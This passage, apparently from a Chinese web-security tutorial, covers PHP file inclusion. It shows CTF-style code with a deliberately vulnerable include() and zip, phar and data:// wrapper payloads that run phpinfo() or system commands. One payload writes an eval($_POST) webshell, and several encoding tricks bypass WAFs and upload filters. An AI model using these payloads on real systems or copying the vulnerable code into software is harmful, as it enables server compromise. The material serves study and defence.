  • 使用Burp解密得到

  • flag为flag:flag{edulcni_elif_lacol_si_siht}

12.6 php://output

是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

测试代码:

<?php  
$code=$_GET["a"];  
file_put_contents($code,"test");   
?> 

· http://127.0.0.1/5.php?a=php://output

12.7 zip://, bzip2://, zlib://协议

zip://, bzip2://, zlib://协议条件:

  • allow_url_fope off/on

  • allow_url_include off/on

  • bzip2://使用方法:

  • bzip2://file.bz2zlib://使用方法:

  • zlib://file.gz

3个封装协议,都是直接打开压缩文件。
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。

  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  • 只需要是zip的压缩包即可,后缀名可以任意更改。

  • 相同的类型的还有zlib://和bzip2://

zip://协议

php 版本大于等于 php5.3.0

  • zip://使用方法:

  • zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

要用绝对路径+url编码#

  • 创建一个uploads文件夹

测试代码:

//index.php

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    echo "hick?";
    exit();
}else{
    include($file.".php"); //着重注意这个后缀,适合前面的file拼接的也就是zip://c:/a.zip%23backdoor与这个后缀拼搂,后缀是什么,压缩包文件的后缀是什么
}
?>
<!-- flag在当前目录的某个文件中 -->

//upload.php

<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" >
     <input type="file" name="fupload" />
     <input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {
    $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
    $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
    $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
    $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
        ( $uploaded_size < 100000 ) ) {
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
            echo '<pre>upload error</pre>';
        }
        else {// Yes!
            echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        echo '<pre>you can upload jpg,png,zip....</pre>';
    }
}
?>
  • 点击upload?直接跳转

  • 跳转到文件上传功能上 题目思路上传文件再利用压缩包协议进行包含获取webshell

从上传分析只能上传jpg,png,zip.....

  • 上传一个压缩包里面包含php的文件 并且得到了绝对路径

  • 利用zip协议进行包含并且加上%23和压缩包里面文件(如果不用%23而用#后面的文件是被忽略)

?file=zip://D:\phpstudy_pro\WWW\CTF\3\uploads\8a10fd88e3ab15c68d1596b0b4377816.zip%23test.php

访问失败 因为在代码中是拼接了一个php

在访问的时候去掉“ .php ”就可以了

如果把压缩包改成“jpg”是否还可以通过zip协议识别包含

http://127.0.0.1/ctf/3/php_zip.php?file=zip://D:\phpstudy_pro\WWW\CTF\3\uploads\8a10fd88e3ab15c68d1596b0b4377816.jpg#test

说明zip协议不会校验后台的名称,不管是jpg还是png等等都会当成zip文件

bzip2://协议

使用方法:

compress.bzip2://file.bz2

相对路径也可以

测试

用7-zip生成一个bz2压缩文件。

pyload:http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2

或者文件改为jpg后缀

` http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

相对路径也可以

` http://127.0.0.1/xxx.php?a=compress.zlib://file.gz

# 1.jpg 代码
<?php phpinfo(); ?>

扩展

尝试利用其它协议进行测试

<meta charset="utf8">
<?php
//error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
    echo $file;
    include($file.".php"); //着重注意这个后缀,适合前面的file拼接的也就是zip://c:/a.zip%23backdoor与这个后缀拼搂,后缀是什么,压缩包文件的后缀是什么
}
?>
<!-- flag在当前目录的某个文件中 -->

省略

phar:// 有点类似zip://同样可以导致 任意代码执行。

phar://中相对路径和绝对路径都可以使用

12.8 php-date

条件:

allow_url_fope = on allow_url_include = on

data://:将原本的include的文件流重定向到了用户可控制的输入流中

条件: allow_url_include=On php > 5.2

测试代码:

//include.php 
<?php 
    @$file = $_GET['file']; 
    @include($file); 
?>

通过data://text/plain协议包含phpinfo

?file=data://text/plain,<?php phpinfo();?>

通过data://text/plain协议包含Base64编码phpinfo

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

通过data:text/plain协议包含phpinfo(省掉“//”)

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

通过data://text/plain协议包含Base64编码<?php system("dir");?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

通过data://text/plain协议包含利用一句话木马

?file=data://text/plain,<?php fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>');?>

13、

# 例如这样限制了我们只能包含 .html 的文件
# 文件名称: 2.php

<?php
if(isset($_GET['x']))
{
    include $_GET['x'] . '.html';
}
?>

限制了只能包含 .xxx 文件的绕过方法

13.1 绕过方法一 - zip协议

新建一个名为1.html的文件,内容为<?php phpinfo();?>,然后压缩为名为111.zip的zip文件。

接着利用网站的上传功能上传文件

攻击payload: ` http://atest.test/2.php?x=zip://111.zip%231

13.2 绕过方法二 - zip协议

有的上传点可能限制死了,你只能上传jpg的图片那么你可以这样做

新建一个名为1.html的文件,内容为<?php phpinfo();?>,然后压缩为名为111.zip的zip文件。

接着 111.zip 改名为 111.jpg

攻击payload: http://atest.test/2.php?x=zip://111.jpg%231

13.3 绕过方法三 - phar协议

新建一个名为1.html的文件,内容为<?php phpinfo();?>,然后压缩为名为111.zip的zip文件。

如果可以上传zip文件则上传zip文件,若不能则重命名为111.jpg后上传。

攻击payload-1: http://atest.test/2.php?x=phar://111.jpg%2F1

攻击payload-2: http://atest.test/2.php?x=phar://111.zip%2F1

这两个payload 就看你能上传哪个文件了

如果可以上传 jpg 那么就使用payload-1

如果可以上传 zip 那么就使用payload-2

参考https://www.yuque.com/pmiaowu/web_security_1/yzr176#QKRsZ

总结

通过实验发现这个可能是编码的问题因为<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法

  • 不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。

  • 添加空格改变base64编码。

  • 将+号换成%2b

将<?php phpinfo();?>改变成url编码

14、JSP包含

#静态包含

Jsp中的静态包含语句为

<%@ include file=”page.txt”%>

编写好page.txt后访问index.asp,page.txt将会被解析。Jsp语法规定include指令为静态包含只能调用已经存在于服务器中的文件,因此include指令将不存在文件包含漏洞。

# 动态包含

动态包含语句为:<jsp:include page=”page.txt”/>

与静态包含相反在运行时会先处理被包含的页面,然后再包含,而且可以包含一个动态页面。

15、WAF

当碰到 WAF 时,可以把 <> 这些特殊符号进行编码再试。

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

某些情况下,读文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能会影响include包含的结果

某些情况下,unicode编码不同但是字形相近的字符有同一个效果

url编码、双层(多层)url编码

%2e%2e%2f 解码:../

%2e%2e%5c 解码:..\

%25%2e%25%2e%255c 解码:..\(可使用burp多层编码和解码)

uniclode/UTF-8编码

..%c0%af 解码:../

%c1%9c 解码:..\

但编码能否正确的起到效果,得看web server是否能对编码后的做解析

16、文件包含防御

  • PHP中使用open_basedir配置限制访问在指定目录的区域

  • 过滤.(点)/(反斜杠)\(反斜杠)

  • 禁止服务器远程文件包含

  • 尽量不要使用动态包含,可以在需要包含的页面固定写好

  • 可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

最后更新于